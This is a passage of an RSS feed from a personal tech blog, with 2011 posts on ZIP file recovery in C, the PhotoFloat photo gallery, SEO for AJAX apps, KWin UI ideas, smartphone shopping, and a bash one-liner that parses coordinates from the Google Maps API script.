		<description><![CDATA[Congratulations to the neccesitas project for joining KDE. I&#8217;m not sure what this means as far as KDE&#8217;s orientation or how this reflects the latest attitude of, &#8220;shit! we spent all this time fussing over Nokia&#8217;s mobile hype, and now we realize the desktop is rotting and we need to save it,&#8221; but it&#8217;s nonetheless [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/614#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=614" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Congratulations to the neccesitas project for <a href="http://dot.kde.org/2011/06/01/kde-releases-second-alpha-necessitas" onclick="pageTracker._trackPageview('/outgoing/dot.kde.org/2011/06/01/kde-releases-second-alpha-necessitas?referer=');">joining KDE</a>. I&#8217;m not sure what this means as far as KDE&#8217;s orientation or how this reflects the latest attitude of, &#8220;shit! we spent all this time fussing over Nokia&#8217;s mobile hype, and now we realize the desktop is rotting and we need to save it,&#8221; but it&#8217;s nonetheless exciting to know that neccesitas is supported by a good organization.</p>
<p>With that said, maybe it&#8217;s time for me to find a smartphone. I still use an old <a href="http://en.wikipedia.org/wiki/Nokia_1100" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Nokia_1100?referer=');">Nokia 1100</a>, which doesn&#8217;t support much more than calling and SMS. And Snake II. Windows Phone 7 is out. Meego is dead. WebOS is limping. Blackberry has an arcane dev environment. What&#8217;s that leave? Junked up Android. As a platform, Android seems to already be experiencing some bloat and disorganization and Java doesn&#8217;t seem too hot. But at the very least it runs Qt now.</p>
<p><b>The big problem is finding a satisfactory phone.</b> My critera are fairly simple:</p>
<li>QWERTY physical keyboard (I actually would prefer T9, but this is now long past <img src='http://blog.zx2c4.com/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' />  ). This is very important. I will not compromise about this.</li>
<li>GSM that runs on AT&amp;T&#8217;s <b>3G</b> network, as well as general GSM support for Europe.</li>
<li>Rootable and/or rom-unlockable.</li>
<li>Sensible update policy / recent operating system.</li>
<li>Big pretty screen.</li>
<li>Fast processor.</li>
<li>Solid construction.</li>
<li>The usual assortment of GPS, Bluetooth, etc do-dads.</li>
<p>But nothing like this exists. Well, the <a href="http://www.sonyericsson.com/cws/products/mobilephones/overview/xperia-pro?cc=gb&#038;lc=en" onclick="pageTracker._trackPageview('/outgoing/www.sonyericsson.com/cws/products/mobilephones/overview/xperia-pro?cc=gb_038_lc=en&amp;referer=');">Xperia Pro</a> looks almost perfect &#8212; AT&#038;T 3G (approx), fast processor, pretty screen, great keyboard, etc &#8212; except so far it&#8217;s only available for pre-order in the UK and it&#8217;s looking unlikely it&#8217;ll be hitting the US.</p>
<p>What is out there that meets these criteria? Why has my research turned up dry continually?</p>
<p>[Sidenote: actually, the perfect phone for me might be the very dated <a href="http://en.wikipedia.org/wiki/Nokia_E52" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Nokia_E52?referer=');">Nokia E52</a>, but I can't seem to find a north american model anywhere, even on eBay.]</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/614#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=614" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/614/feed</wfw:commentRss>
		<slash:comments>41</slash:comments>
		</item>
		<item>
		<title>Repairing Corrupted ZIP Files by Brute Force Scanning in C</title>
		<link>http://blog.zx2c4.com/605</link>
		<comments>http://blog.zx2c4.com/605#comments</comments>
		<pubDate>Sat, 21 May 2011 18:29:06 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[binary format]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[CR2]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[raw]]></category>
		<category><![CDATA[zip]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=605</guid>
		<description><![CDATA[My brother is a wonderful photographer, and took 14 gigabytes of photos at my recent graduation from Columbia, some of which I hope to post on PhotoFloat &#8212; my web 2.0 photo gallery done right via static JSON &#38; dynamic javascript. . He was kind enough to upload a ZIP of the RAW (Canon Raw [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/605#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=605" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://jeffreydonenfeld.com/about/photography/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/jeffreydonenfeld.com/about/photography/?referer=');">My brother is a wonderful photographer</a>, and took 14 gigabytes of photos at my recent graduation from Columbia, some of which I hope to post on <em><a target="_blank" href="http://zx2c4.com/projects/photofloat/" onclick="pageTracker._trackPageview('/outgoing/zx2c4.com/projects/photofloat/?referer=');"><strong>PhotoFloat &#8212; my web 2.0 photo gallery done right via static JSON &amp; dynamic javascript</strong></a></em>.</p>
<p>. He was kind enough to upload a ZIP of the RAW (Canon Raw 2 &#8211; CR2) photos to my FTP server overnight from his killer 50mbps pipe. The next day, he left for a long period of traveling.</p>
<p>I downloaded the ZIP archive, eager to start playing with the photographs and learning about RAW photos and playing with tools like <a href="http://en.wikipedia.org/wiki/Dcraw" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Dcraw?referer=');">dcraw</a>, <a href="http://lensfun.berlios.de/" onclick="pageTracker._trackPageview('/outgoing/lensfun.berlios.de/?referer=');">lensfun</a>, and <a href="http://ufraw.sourceforge.net/" onclick="pageTracker._trackPageview('/outgoing/ufraw.sourceforge.net/?referer=');">ufraw</a>, and also seeing if I could <a href="http://www.elcomsoft.com/presentations/Forging_Canon_Original_Decision_Data.pdf" onclick="pageTracker._trackPageview('/outgoing/www.elcomsoft.com/presentations/Forging_Canon_Original_Decision_Data.pdf?referer=');">forge Canon&#8217;s &#8220;Original Decision Data&#8221; tags</a>. To my dismay, the ZIP file was corrupted. I couldn&#8217;t ask my brother to re-upload it or rsync the changes or anything like that because he was traveling and it was already a great burden for him to upload these in the nick of time. I tried <tt>zip -F</tt> and <tt>zip -FF</tt> and even a few Windows shareware tools. Nothing worked. So I decided to write my own tool, using nothing more than <a href="http://www.pkware.com/documents/casestudies/APPNOTE.TXT" onclick="pageTracker._trackPageview('/outgoing/www.pkware.com/documents/casestudies/APPNOTE.TXT?referer=');">the official PKZIP spec</a> and <a href="http://en.wikipedia.org/wiki/Man_page" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Man_page?referer=');">man pages</a>.</p>
<p>First a bit about how ZIP files are structured &#8212; everything here is based on the famous official spec in <a href="http://www.pkware.com/documents/casestudies/APPNOTE.TXT" onclick="pageTracker._trackPageview('/outgoing/www.pkware.com/documents/casestudies/APPNOTE.TXT?referer=');">APPNOTE.TXT</a>. Zip files are structured like this:</p>
<pre>
    [local file header 1]
    [file data 1]
    [data descriptor 1]
    .
    .
    .
    [local file header n]
    [file data n]
    [data descriptor n]
    [archive decryption header]
    [archive extra data record]
    [central directory]
    [zip64 end of central directory record]
    [zip64 end of central directory locator]
    [end of central directory record]
</pre>
<p>Generally unzippers seek to the central directory at the end of the file, which has the locations of all the files in the zip, along with their sizes and names. It reads this in, then seeks back up to the top to read the files off one by one.</p>
<p>The strange thing about my brother&#8217;s broken file was that the beginning files would work and the end files would work, but the middle 11 gigabytes were broken, with <a href="http://en.wikipedia.org/wiki/Info-ZIP" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Info-ZIP?referer=');">Info-ZIP</a> complaining about wrong offsets and lseeks. I figured that some data had been duplicated/reuploaded at random spots in the middle, so the offsets in the zip file&#8217;s central directory were broken.</p>
<p>For each file, however, there is a local file header and an optional data descriptor. Each local file header starts with the same signature (0x04034b50), and contains the file name and the size of the file that comes after the local file header. But sometimes, the size of the file is not known until the file has already been inserted in the zip file, in which case, the local file header reports &#8220;0&#8243; for the file size and sets bit 3 in a bit flag. This indicates that <em>after</em> the file, of unknown length, there will be a data descriptor that says the file size. But how do we know where the file ends, if we don&#8217;t know the length before hand? Well, usually this data is duplicated in the central directory at the end of the zip file, but I wanted to avoid parsing this all together. Instead, it turns out that, though not in the official spec, APPNOTE.TXT states, &#8220;Although not originally assigned a signature, the value 0x08074b50 has commonly been adopted as a signature value for the data descriptor record.  Implementers should be aware that ZIP files may be encountered with or without this signature marking data descriptors and should account for either case when reading ZIP files to ensure compatibility. When writing ZIP files, it is recommended to include the signature value marking the data descriptor record.&#8221; Bingo. </p>
<p>So the recovery algorithm works like this:</p>
<ul>
<li>Look for a local file header signature integer, reading 4 bytes, and rewinding 3 each time it fails.</li>
<li>Once found, see if the size is there. If the size is in it, read the data to the file path.</li>
<li>If the size isn&#8217;t there, search for the data descriptor signature, reading 4 bytes, and rewinding 3 each time it fails.</li>
<li>When found, rewind to the start of the data segment and read the number of bytes specified in the data descriptor.</li>
<li>Rewind to 4 bytes after the local file header signature and repeat process.</li>
</ul>
<p>The files may optionally be deflated, so I use <a href="http://en.wikipedia.org/wiki/Zlib" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Zlib?referer=');">zlib</a> inline to inflate, the advantage of which is that this has its own verification built in, so I don&#8217;t need to use zip&#8217;s crc32 (though I should).</p>
<p>Along the way there is some additional tricky logic for making sure we&#8217;re always searching with maximum breadth.</p>
<p>The end result of all this was&#8230; 100% recovery of the files in the archive, complete with their full file names. Win.</p>
<p>You can <a href="http://git.zx2c4.com/BruteZip/tree/read.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/BruteZip/tree/read.c?referer=');">check out the code here</a>. Suggestions are welcome. It&#8217;s definitely a quick hack, but it did the job. Took a lot of fiddling with to make it work, especially figuring out <tt>__attribute__((packed))</tt> to turn off gcc&#8217;s power-of-two padding.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/605#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=605" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/605/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Search Engine Optimization with AJAX Apps using the AJAX Crawl Specification</title>
		<link>http://blog.zx2c4.com/589</link>
		<comments>http://blog.zx2c4.com/589#comments</comments>
		<pubDate>Tue, 10 May 2011 02:48:59 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[htmlunit]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[photofloat]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=589</guid>
		<description><![CDATA[Update: Now instead of using HtmlUnit, which proved to be very slow and memory intensive, I&#8217;ve written my own ServerExecute app based on WebKit using QtWebKit. Check it out here. PhotoFloat follows the design of using a static html page with a static javascript app that creates dynamic layouts from static json files on the [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/589#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=589" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><b>Update: Now instead of using HtmlUnit, which proved to be very slow and memory intensive, I&#8217;ve written my own ServerExecute app based on WebKit using QtWebKit. <a href="http://git.zx2c4.com/ServerExecute/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/ServerExecute/?referer=');">Check it out here.</a></b></p>
<p><a href="http://zx2c4.com/projects/photofloat" target="_blank" onclick="pageTracker._trackPageview('/outgoing/zx2c4.com/projects/photofloat?referer=');">PhotoFloat</a> follows the design of using a static html page with a static javascript app that creates dynamic layouts from static json files on the server. This means that googlebot has nothing to index, since it doesn&#8217;t run javascript. Uh oh!</p>
<p>But not quite. A <a href="http://blog.zx2c4.com/567#comment-5829">comment in my blog post</a> pointed me toward Google&#8217;s <a href="http://code.google.com/web/ajaxcrawling/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/code.google.com/web/ajaxcrawling/?referer=');">AJAX Crawl specification</a>, which is incredible. Basically, sites that use URLs like: <a href="http://photos.jasondonenfeld.com/#!/columbia_winter_senior/img_1712.jpg" target="_blank" onclick="pageTracker._trackPageview('/outgoing/photos.jasondonenfeld.com/_/columbia_winter_senior/img_1712.jpg?referer=');">http://photos.&#8203;jasondonenfeld.&#8203;com<strong>/#!/</strong>&#8203;columbia_winter_senior&#8203;/img_1712.jpg</a> with the #! in there (as Twitter does, for example) get rewritten by googlebot to http://photos.&#8203;jasondonenfeld.&#8203;com<strong>/?_escaped_fragment_=</strong>&#8203;columbia_winter_senior&#8203;/img_1712.jpg. Then, on the server, using a combination of mod_rewrite, a lil php script as a loader, and a tiny Java app I wrote around <a href="http://htmlunit.sourceforge.net/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/htmlunit.sourceforge.net/?referer=');">HtmlUnit</a> (Google says HtmlUnit it&#8217;s industry standard), the server sends back <em>static HTML as if a browser had already run all the JavaScript and executed HTML requests.</em></p>
<p>Aside from SEO, it means that Facebook&#8217;s crawler can get the proper title and the thumbnails:<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2011/05/photofloat-facebook.png" alt="" title="Ajax crawl urls work with facebook." width="512" height="252" class="aligncenter size-full wp-image-600" /></p>
<p>The web evidently is moving away from server-generated HTML and onto JavaScript interfaces, and this is a way to keep up SEO.</p>
<h4>Source:</h4>
<li><a href="http://git.zx2c4.com/PhotoFloat/tree/web/utils/ServerExecute.java" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/PhotoFloat/tree/web/utils/ServerExecute.java?referer=');">Java app</a></li>
<li><a href="http://git.zx2c4.com/PhotoFloat/tree/web/staticrender.php" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/PhotoFloat/tree/web/staticrender.php?referer=');">PHP loader</a></li>
<li>.htaccess lines:
<pre>RewriteCond %{QUERY_STRING} _escaped_fragment_=
RewriteRule . staticrender.php [L]</pre>
</li>
<p>Hope this is useful.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/589#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=589" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/589/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PhotoFloat &#8212; A Web 2.0 Photo Gallery Done Right via Static JSON &amp; Dynamic Javascript</title>
		<link>http://blog.zx2c4.com/567</link>
		<comments>http://blog.zx2c4.com/567#comments</comments>
		<pubDate>Sun, 08 May 2011 21:44:32 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[json]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=567</guid>
		<description><![CDATA[UPDATE: Because of the wonderful reception across the internet, I&#8217;ve put together an instruction page on how to get this set up on your own server. I don&#8217;t really like database driven photo management software, and prefer instead to manage my photos in a good old no-nonsense directory structure. For this reason, I was particularly [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/567#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=567" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<h4>UPDATE: Because of the wonderful reception across the internet, I&#8217;ve <a href="http://zx2c4.com/projects/photofloat/" onclick="pageTracker._trackPageview('/outgoing/zx2c4.com/projects/photofloat/?referer=');">put together an instruction page</a> on how to get this set up on your own server.</h4>
<p>I don&#8217;t really like database driven photo management software, and prefer instead to manage my photos in a good old no-nonsense directory structure. For this reason, I was particularly attracted to <a href="http://www.zenphoto.org/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.zenphoto.org/?referer=');">Zenphoto</a> as a means of getting my photos online, as it works on directory structures. Unfortunately, Zenphoto is horrible; it&#8217;s riddled with bugs, inconstant, a cluttered architecture, and most of all, it&#8217;s extremely slow. Every time it runs, it re-scans directories and makes a bazillion SQL calls. The viewer interface is also outdated and clunky, having a different html page for each photo. So I went back to the drawing board and considered how to make things better.</p>
<p><a href="http://photos.jasondonenfeld.com" onclick="pageTracker._trackPageview('/outgoing/photos.jasondonenfeld.com?referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2011/05/photo-float.png" alt="" title="Photo Float in Action" width="958" height="813" class="aligncenter size-full wp-image-569" /></a></p>
<p>Introducing PhotoFloat. The idea is this &#8212; instead of scanning and caching metadata and thumbnails during page load time, everything is to be done prior. It&#8217;s a bit of an old school mentality. There is a script that generates static <a href="http://en.wikipedia.org/wiki/JSON" target="_blank" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/JSON?referer=');">json</a> files of metadata and album structures and static thumbnails of images, so that all the content can be served directly by Apache. Why? Because I only need to generate new thumbnails and data files when I upload new images (or alternatively, on a cron job). So that&#8217;s what I did; I wrote a simple python script that walks a directory structure looking for new or changed images and albums. It&#8217;s smart too &#8212; to be super zippy, it does file modification time comparisons. It also cleans up after itself, deleting stale files.</p>
<p>So I have all my original images on my webserver, because I have <a href="http://www.dreamhost.com/r.cgi?423703" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.dreamhost.com/r.cgi?423703&amp;referer=');">Dreamhost&#8217;s unlimited hosting</a>. I also have another directory that I populate with symlinks to the directories I actually want online. Every time there are new images, my python script fires up, and updated json data files and thumbnail files are generated.</p>
<p>Great, but where does this leave us? What can we do with json files? This is where things become wonderful. Since all the data for the gallery is AJAX fetchable, there is <em>a single html page and a single javascript file</em> that takes care of the whole gallery. That&#8217;s right &#8212; all of the display of views is done client side, and in one page load.</p>
<p>To keep track of pages and for swapping around links, each different album and different image has it&#8217;s own hash url, like, for example: <a href="http://photos.jasondonenfeld.com/#!/new_hampshire_in_snow_3.15.11-3.17.11/img_1919.jpg" onclick="pageTracker._trackPageview('/outgoing/photos.jasondonenfeld.com/_/new_hampshire_in_snow_3.15.11-3.17.11/img_1919.jpg?referer=');">#!/new_hampshire_in_snow_3.15.11-3.17.11/img_1919.jpg</a>. It&#8217;s all lower case with naughty characters stripped out to keep up with the patterns of wordpress and other web apps. These function as permalinks.</p>
<p>The albums have extensive support for EXIF metadata, which can be loaded by clicking &#8216;show metadata&#8217;, and a transparent box slides up over the photo. There&#8217;s also the ability to download the original photos.</p>
<p>Each album gets a randomized thumbnail which assigns probabilities to each image in the album based on the number of images in each album and the depth of subalbums. The randomization algorithm is all done at client side.</p>
<p>Images are preloaded. Album data is prefetched. Everything is cached sanely. JSON files are gzipped. There are animations between views and smooth scrolling. The right and left arrow keys work. Clicking on the photo advances it, like on Facebook. Finally, I do include one dynamic script &#8212; a simple php script that takes old Zenphoto URLs and translates them into the new ones, so that people with old links can still access the same photos.</p>
<p>Essentially, there are a lot of little details that had to be done right, and to my knowledge, no web gallery that works on directory structures has done it well, making an ajaxy and speedy gallery. So now you have PhotoFloat. I&#8217;ve just finished writing it, and the code is a bit of a mess, but let me know if you have any suggestions or find any bugs.</p>
<p><strong>You can <a href="http://git.zx2c4.com/PhotoFloat/tree/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/PhotoFloat/tree/?referer=');">browse the code in the git repository</a> or <a href="http://photos.jasondonenfeld.com/" onclick="pageTracker._trackPageview('/outgoing/photos.jasondonenfeld.com/?referer=');">try it out live on my photo site</a>.</strong> If you make any modifications of my code or use it on your own site, please inform me and send any modifications back to me. Remember to run <tt>make</tt> on the web directory to minify the css and javascript, and also, be sure to change the google analytics tracking ID in <tt>web/js/999-googletracker.js</tt>.</p>
<p>Comments? Suggestions?</p>
<p>Update 2 for KDEers: It looks like some people from kipi-plugins and kphotoalbum are interested in building integration for this in.</p>
<p>Update 3: Following a suggestion in the comments below, URLs now use #!, which google translates to a special query string, and I&#8217;ve written a serverside component that executes the JavaScript and displays static content for googlebot. This allows the metadata to be crawled.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/567#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=567" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/567/feed</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>KDE Alive with KWin Menu Excitement</title>
		<link>http://blog.zx2c4.com/548</link>
		<comments>http://blog.zx2c4.com/548#comments</comments>
		<pubDate>Tue, 05 Apr 2011 16:34:33 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[APIs]]></category>
		<category><![CDATA[dbusmenu]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[KWin]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=548</guid>
		<description><![CDATA[Martin&#8217;s post set off an eruption of ideas and debates over integrating dbusmenu and kwin and proposals for a new tabbed API. To quote José Pedro&#8216;s comment: The most important things I see lacking in Kwin from KDE 4.5 are an API to allow windows to open in a specific existing group (make a new [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/548#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=548" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.martin-graesslin.com/blog/2011/03/menu-button-inside-window-decorations" onclick="pageTracker._trackPageview('/outgoing/blog.martin-graesslin.com/blog/2011/03/menu-button-inside-window-decorations?referer=');">Martin&#8217;s post</a> set off an eruption of ideas and debates over integrating dbusmenu and kwin and proposals for a new tabbed API. To quote <a href="http://jp-arvela.co.cc/" onclick="pageTracker._trackPageview('/outgoing/jp-arvela.co.cc/?referer=');">José Pedro</a>&#8216;s <a href="http://blog.martin-graesslin.com/blog/2011/03/menu-button-inside-window-decorations/comment-page-1/#comment-33262" onclick="pageTracker._trackPageview('/outgoing/blog.martin-graesslin.com/blog/2011/03/menu-button-inside-window-decorations/comment-page-1/_comment-33262?referer=');">comment</a>:</p>
<blockquote><p>
The most important things I see lacking in Kwin from KDE 4.5 are an API to allow windows to open in a specific existing group (make a new tab in the decoration), and that the windows from a specific group are not grouped in the taskbar. I also think that if these 2 problems are fixed, most apps in KDE could use the decoration tabs instead of relying on the currently used tabs, inside the application itself. The important thing to notice here is the natural mix between the application tabs and the menu button. These complete each other, and all apps in KDE which rely on tabs to show documents would ideally use this system (dolphin, rekonq, kate, kword… just to name a few).
</p></blockquote>
<p>Here are some screen shots proposed in the comment thread:</p>
<p><img src="http://blog.zx2c4.com/wp-content/uploads/2011/03/dolphin-mockup-1.png" alt="" title="Dolphin Top Menu" width="818" height="666" class="aligncenter size-full wp-image-549" /><br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2011/03/dolphin-mockup.png" alt="" title="Dolphin Top Tabs" width="921" height="524" class="aligncenter size-full wp-image-551" /><br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2011/03/firefox-mockup.png" alt="" title="Firefox Top Tabs" width="930" height="534" class="aligncenter size-full wp-image-550" /></p>
<p>Having an easy API to enable this would be very welcome.<br />
<code>setMainMenu(menu);<br />
setWindowTabs(tabWidget);</code></p>
<p>Elsewhere in KWin settings:</p>
<pre>[ X ] Place tabs in window border when supported.
[   ] Place main menu in window border when supported.</pre>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/548#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=548" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/548/feed</wfw:commentRss>
		<slash:comments>54</slash:comments>
		</item>
		<item>
		<title>Strap on your Tin Foil Hats, Kids: Google Maps Uses Different Data for Korean Sea Areas</title>
		<link>http://blog.zx2c4.com/531</link>
		<comments>http://blog.zx2c4.com/531#comments</comments>
		<pubDate>Tue, 08 Mar 2011 06:46:14 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[asia]]></category>
		<category><![CDATA[china]]></category>
		<category><![CDATA[conspiracy]]></category>
		<category><![CDATA[google maps]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[korea]]></category>
		<category><![CDATA[location]]></category>
		<category><![CDATA[navigation]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[tinfoil hats]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=531</guid>
		<description><![CDATA[Frittering away time I absent-mindedly loaded up the Google Maps API Javascript File and, hazy-eyed, noticed some references to http://mt0.gmaptiles.co.kr. Co.kr? Korea? Why are there references for a Korean tile server in the global api file? So digging deeper, I supposed that those numbers surrounding the urls were coordinates on the globe. A simple sloppy [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/531#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=531" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zx2c4.com/wp-content/uploads/2011/03/korea3.png" alt="" title="Sea Location" width="311" height="210" class="alignright size-full wp-image-537" />Frittering away time I absent-mindedly loaded up the <a href="http://maps.google.com/maps/api/js?sensor=false" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/maps/api/js?sensor=false&amp;referer=');">Google Maps API Javascript File</a> and, hazy-eyed, noticed some references to http://mt0.gmaptiles.co.kr. Co.kr? Korea? Why are there references for a Korean tile server in the global api file?</p>
<p>So digging deeper, I supposed that those numbers surrounding the urls were coordinates on the globe. A simple sloppy bash one liner later and we have the following:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ curl <span style="color: #660033;">-s</span> http:<span style="color: #000000; font-weight: bold;">//</span>maps.google.com<span style="color: #000000; font-weight: bold;">/</span>maps<span style="color: #000000; font-weight: bold;">/</span>api<span style="color: #000000; font-weight: bold;">/</span>js?<span style="color: #007800;">sensor</span>=<span style="color: #c20cb9; font-weight: bold;">false</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">tr</span> <span style="color: #ff0000;">','</span> <span style="color: #ff0000;">'\n'</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-E</span> <span style="color: #ff0000;">'([0-9]+\]+|\[+[0-9]+)'</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">tr</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">']['</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">head</span> <span style="color: #660033;">-n</span> <span style="color: #660033;">-2</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">tail</span> <span style="color: #660033;">-n</span> +<span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> lat; <span style="color: #000000; font-weight: bold;">do</span> <span style="color: #c20cb9; font-weight: bold;">read</span> long; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$(echo &quot;scale=8;$lat / 10000000&quot;|bc)</span>,<span style="color: #007800;">$(echo &quot;scale=8; $long / 10000000&quot;|bc)</span>&quot;</span>; <span style="color: #000000; font-weight: bold;">done</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sort</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">uniq</span></pre></div></div>

<p><img src="http://blog.zx2c4.com/wp-content/uploads/2011/03/korea1.png" alt="" title="Land Location" width="364" height="383" class="alignleft size-full wp-image-539" /><a href="http://maps.google.com/?q=32.98908400,124.60556000" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=32.98908400_124.60556000&amp;referer=');">32.98908400,124.60556000</a><br />
<a href="http://maps.google.com/?q=33.00000000,124.60500000" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=33.00000000_124.60500000&amp;referer=');">33.00000000,124.60500000</a><br />
<a href="http://maps.google.com/?q=34.46467400,128.49609400" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=34.46467400_128.49609400&amp;referer=');">34.46467400,128.49609400</a><br />
<a href="http://maps.google.com/?q=34.50000000,127.96000000" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=34.50000000_127.96000000&amp;referer=');">34.50000000,127.96000000</a><br />
<a href="http://maps.google.com/?q=34.89000000,128.67000000" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=34.89000000_128.67000000&amp;referer=');">34.89000000,128.67000000</a><br />
<a href="http://maps.google.com/?q=35.02774700,128.84765600" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=35.02774700_128.84765600&amp;referer=');">35.02774700,128.84765600</a><br />
<a href="http://maps.google.com/?q=35.46900000,129.36000000" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/?q=35.46900000_129.36000000&amp;referer=');">35.46900000,129.36000000</a><br />
